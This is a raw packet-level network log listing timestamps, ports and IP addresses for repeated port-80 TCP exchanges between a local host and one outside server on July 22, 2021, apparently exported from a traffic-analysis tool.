Jul 22, 2021 16:11:09.181385040 CEST	80	49180	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:09.181529999 CEST	49180	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:09.183607101 CEST	80	49181	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:09.183846951 CEST	49181	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:09.185193062 CEST	49181	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:09.237611055 CEST	80	49181	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:09.357000113 CEST	80	49181	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:09.357251883 CEST	49181	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:09.588983059 CEST	49181	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:09.590569973 CEST	49182	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:09.642673969 CEST	80	49181	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:09.642816067 CEST	49181	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:09.644965887 CEST	80	49182	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:09.645108938 CEST	49182	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:09.646503925 CEST	49182	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:09.698685884 CEST	80	49182	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:09.817370892 CEST	80	49182	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:09.817542076 CEST	49182	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:10.047846079 CEST	49182	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:10.049232006 CEST	49183	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:10.104074001 CEST	80	49182	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:10.104201078 CEST	49182	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:10.105341911 CEST	80	49183	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:10.105623007 CEST	49183	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:10.107105017 CEST	49183	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:10.160723925 CEST	80	49183	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:10.265167952 CEST	80	49183	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:10.265259981 CEST	49183	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:10.487971067 CEST	49183	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:10.489857912 CEST	49184	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:10.540416956 CEST	80	49183	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:10.540688038 CEST	49183	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:10.542292118 CEST	80	49184	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:10.542392015 CEST	49184	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:10.542979002 CEST	49184	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:10.595292091 CEST	80	49184	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:10.699769020 CEST	80	49184	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:10.699878931 CEST	49184	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:10.930505037 CEST	49184	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:10.931597948 CEST	49185	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:10.983002901 CEST	80	49184	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:10.983092070 CEST	49184	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:10.983649015 CEST	80	49185	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:10.983732939 CEST	49185	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:10.984551907 CEST	49185	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:11.037287951 CEST	80	49185	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:11.153819084 CEST	80	49185	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:11.153980017 CEST	49185	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:11.553117990 CEST	49185	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:11.554883003 CEST	49186	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:11.608922958 CEST	80	49185	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:11.609102964 CEST	49185	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:11.609757900 CEST	80	49186	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:11.609854937 CEST	49186	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:11.662718058 CEST	49186	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:11.715240002 CEST	80	49186	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:11.833951950 CEST	80	49186	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:11.834166050 CEST	49186	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:12.058497906 CEST	49186	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:12.059916019 CEST	49187	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:12.110965014 CEST	80	49186	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:12.111176968 CEST	49186	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:12.112227917 CEST	80	49187	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:12.112370014 CEST	49187	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:12.384293079 CEST	49187	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:12.437638998 CEST	80	49187	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:12.542473078 CEST	80	49187	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:12.542674065 CEST	49187	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:12.796509981 CEST	49187	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:12.797620058 CEST	49188	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:12.848984003 CEST	80	49187	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:12.849097013 CEST	49187	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:12.849936008 CEST	80	49188	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:12.850039005 CEST	49188	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:12.851239920 CEST	49188	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:12.903393030 CEST	80	49188	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:14.007266998 CEST	80	49188	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:14.007461071 CEST	49188	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:15.408668995 CEST	49188	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:15.409760952 CEST	49189	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:15.461102009 CEST	80	49188	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:15.461287022 CEST	49188	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:15.461978912 CEST	80	49189	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:15.462057114 CEST	49189	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:15.462692022 CEST	49189	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:15.515708923 CEST	80	49189	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:15.616853952 CEST	80	49189	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:15.617115021 CEST	49189	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:15.850243092 CEST	49189	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:15.851655960 CEST	49190	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:15.903615952 CEST	80	49189	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:15.903819084 CEST	49189	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:15.904083967 CEST	80	49190	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:15.904228926 CEST	49190	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:15.904902935 CEST	49190	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:15.957115889 CEST	80	49190	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:16.062848091 CEST	80	49190	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:16.062957048 CEST	49190	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:16.318618059 CEST	49190	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:16.320075989 CEST	49191	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:16.370872974 CEST	80	49190	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:16.371004105 CEST	49190	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:16.372457981 CEST	80	49191	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:16.376038074 CEST	49191	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:16.376070976 CEST	49191	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:16.428380013 CEST	80	49191	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:16.542682886 CEST	80	49191	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:16.542860031 CEST	49191	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:16.770250082 CEST	49191	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:16.771692038 CEST	49192	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:16.822705030 CEST	80	49191	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:16.822957039 CEST	49191	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:16.823538065 CEST	80	49192	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:16.823703051 CEST	49192	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:16.824492931 CEST	49192	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:16.878381968 CEST	80	49192	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:17.994708061 CEST	80	49192	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:17.994882107 CEST	49192	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:18.217700958 CEST	49192	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:18.218967915 CEST	49193	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:18.269845009 CEST	80	49192	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:18.269972086 CEST	49192	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:18.271445990 CEST	80	49193	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:18.271522045 CEST	49193	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:18.275527954 CEST	49193	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:18.330745935 CEST	80	49193	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:18.446471930 CEST	80	49193	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:18.446737051 CEST	49193	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:18.684293032 CEST	49193	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:18.685611010 CEST	49194	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:18.736707926 CEST	80	49193	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:18.736884117 CEST	49193	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:18.737590075 CEST	80	49194	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:18.737713099 CEST	49194	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:18.738598108 CEST	49194	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:18.790712118 CEST	80	49194	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:18.908724070 CEST	80	49194	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:18.908906937 CEST	49194	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:19.128796101 CEST	49194	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:19.130671024 CEST	49195	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:19.181473017 CEST	80	49194	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:19.181607962 CEST	49194	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:19.187057972 CEST	80	49195	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:19.187268019 CEST	49195	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:19.188211918 CEST	49195	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:19.240849018 CEST	80	49195	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:19.343904018 CEST	80	49195	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:19.344213963 CEST	49195	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:19.560086012 CEST	49195	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:19.561088085 CEST	49196	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:19.612766027 CEST	80	49195	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:19.612946987 CEST	49195	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:19.613343954 CEST	80	49196	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:19.613482952 CEST	49196	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:19.614252090 CEST	49196	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:19.666743040 CEST	80	49196	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:19.770859003 CEST	80	49196	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:19.771099091 CEST	49196	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:20.008107901 CEST	49196	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:20.009700060 CEST	49197	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:20.060648918 CEST	80	49196	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:20.060873985 CEST	49196	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:20.063829899 CEST	80	49197	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:20.063968897 CEST	49197	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:20.081789017 CEST	49197	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:20.134130001 CEST	80	49197	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:20.239052057 CEST	80	49197	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:20.239233971 CEST	49197	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:20.466228962 CEST	49197	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:20.467320919 CEST	49198	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:20.518620014 CEST	80	49197	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:20.519454956 CEST	49197	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:20.519567013 CEST	80	49198	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:20.519762993 CEST	49198	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:20.521209002 CEST	49198	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:20.573753119 CEST	80	49198	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:21.975286007 CEST	80	49198	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:21.975409031 CEST	49198	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:22.204190016 CEST	49198	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:22.205223083 CEST	49199	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:22.256865978 CEST	80	49198	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:22.257025957 CEST	49198	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:22.257483959 CEST	80	49199	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:22.257601976 CEST	49199	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:22.258954048 CEST	49199	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:22.311770916 CEST	80	49199	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:22.426027060 CEST	80	49199	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:22.426333904 CEST	49199	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:22.648983955 CEST	49199	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:22.650156975 CEST	49200	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:22.701312065 CEST	80	49199	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:22.701440096 CEST	49199	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:22.703267097 CEST	80	49200	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:22.718589067 CEST	49200	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:22.720313072 CEST	49200	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:22.772398949 CEST	80	49200	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:22.876840115 CEST	80	49200	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:22.876948118 CEST	49200	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:23.107644081 CEST	49200	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:23.109442949 CEST	49201	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:23.159936905 CEST	80	49200	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:23.160003901 CEST	49200	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:23.161555052 CEST	80	49201	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:23.161638975 CEST	49201	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:23.162344933 CEST	49201	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:23.214346886 CEST	80	49201	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:23.318594933 CEST	80	49201	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:23.318813086 CEST	49201	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:23.538499117 CEST	49201	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:23.539531946 CEST	49202	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:23.590940952 CEST	80	49201	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:23.591029882 CEST	49201	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:23.592235088 CEST	80	49202	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:23.592468977 CEST	49202	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:23.593628883 CEST	49202	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:23.646245956 CEST	80	49202	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:23.762403965 CEST	80	49202	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:23.762521029 CEST	49202	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:23.984056950 CEST	49202	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:23.986687899 CEST	49203	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:24.037957907 CEST	80	49202	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:24.038145065 CEST	49202	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:24.040164948 CEST	80	49203	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:24.040252924 CEST	49203	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:24.041052103 CEST	49203	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:24.095351934 CEST	80	49203	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:24.211648941 CEST	80	49203	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:24.211932898 CEST	49203	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:24.444900990 CEST	49203	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:24.446332932 CEST	49204	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:24.497397900 CEST	80	49203	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:24.497594118 CEST	49203	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:24.498579025 CEST	80	49204	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:24.498814106 CEST	49204	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:24.500588894 CEST	49204	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:24.553600073 CEST	80	49204	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:24.672410011 CEST	80	49204	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:24.672600985 CEST	49204	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:24.897449017 CEST	49204	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:24.898328066 CEST	49205	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:24.951046944 CEST	80	49204	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:24.951066017 CEST	80	49205	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:24.951159954 CEST	49204	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:24.951994896 CEST	49205	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:24.952299118 CEST	49205	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:25.004410028 CEST	80	49205	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:25.108439922 CEST	80	49205	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:25.111165047 CEST	49205	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:25.334969044 CEST	49205	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:25.335848093 CEST	49206	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:25.388513088 CEST	80	49205	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:25.388638020 CEST	80	49206	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:25.388679981 CEST	49205	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:25.388731956 CEST	49206	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:25.390419006 CEST	49206	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:25.446068048 CEST	80	49206	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:25.547324896 CEST	80	49206	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:25.547435999 CEST	49206	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:25.789824009 CEST	49206	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:25.791829109 CEST	49207	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:25.842206001 CEST	80	49206	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:25.842386007 CEST	49206	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:25.843951941 CEST	80	49207	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:25.844199896 CEST	49207	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:25.845089912 CEST	49207	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:25.897166014 CEST	80	49207	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:26.011414051 CEST	80	49207	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:26.011531115 CEST	49207	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:26.237029076 CEST	49207	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:26.238095999 CEST	49208	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:26.289288998 CEST	80	49207	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:26.289360046 CEST	49207	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:26.290421009 CEST	80	49208	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:26.290543079 CEST	49208	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:26.291963100 CEST	49208	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:26.344346046 CEST	80	49208	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:26.458389997 CEST	80	49208	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:26.458590984 CEST	49208	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:26.686990976 CEST	49208	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:26.688703060 CEST	49209	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:26.739667892 CEST	80	49208	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:26.739829063 CEST	49208	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:26.740941048 CEST	80	49209	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:26.741203070 CEST	49209	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:26.742439032 CEST	49209	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:26.794610977 CEST	80	49209	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:26.898808002 CEST	80	49209	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:26.899023056 CEST	49209	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:27.136218071 CEST	49209	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:27.138019085 CEST	49210	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:27.188644886 CEST	80	49209	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:27.188875914 CEST	49209	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:27.190346003 CEST	80	49210	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:27.190902948 CEST	49210	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:27.191701889 CEST	49210	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:27.244052887 CEST	80	49210	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:27.347398996 CEST	80	49210	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:27.347685099 CEST	49210	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:27.567770004 CEST	49210	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:27.568892002 CEST	49211	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:27.620069981 CEST	80	49210	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:27.620161057 CEST	49210	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:27.620733976 CEST	80	49211	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:27.620879889 CEST	49211	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:27.621886015 CEST	49211	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:27.673885107 CEST	80	49211	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:27.777520895 CEST	80	49211	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:27.777635098 CEST	49211	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:28.014436007 CEST	49211	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:28.016105890 CEST	49212	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:28.066694975 CEST	80	49211	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:28.066786051 CEST	49211	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:28.068375111 CEST	80	49212	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:28.068948030 CEST	49212	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:28.069185972 CEST	49212	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:28.121337891 CEST	80	49212	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:28.217291117 CEST	80	49212	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:28.217531919 CEST	49212	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:28.447257042 CEST	49212	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:28.448679924 CEST	49213	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:28.499620914 CEST	80	49212	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:28.499733925 CEST	49212	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:28.500910044 CEST	80	49213	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:28.501005888 CEST	49213	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:28.501733065 CEST	49213	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:28.553929090 CEST	80	49213	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:28.671717882 CEST	80	49213	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:28.671788931 CEST	49213	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:28.895386934 CEST	49213	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:28.897442102 CEST	49214	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:28.947698116 CEST	80	49213	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:28.947910070 CEST	49213	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:28.949810028 CEST	80	49214	194.147.115.74	192.168.2.22
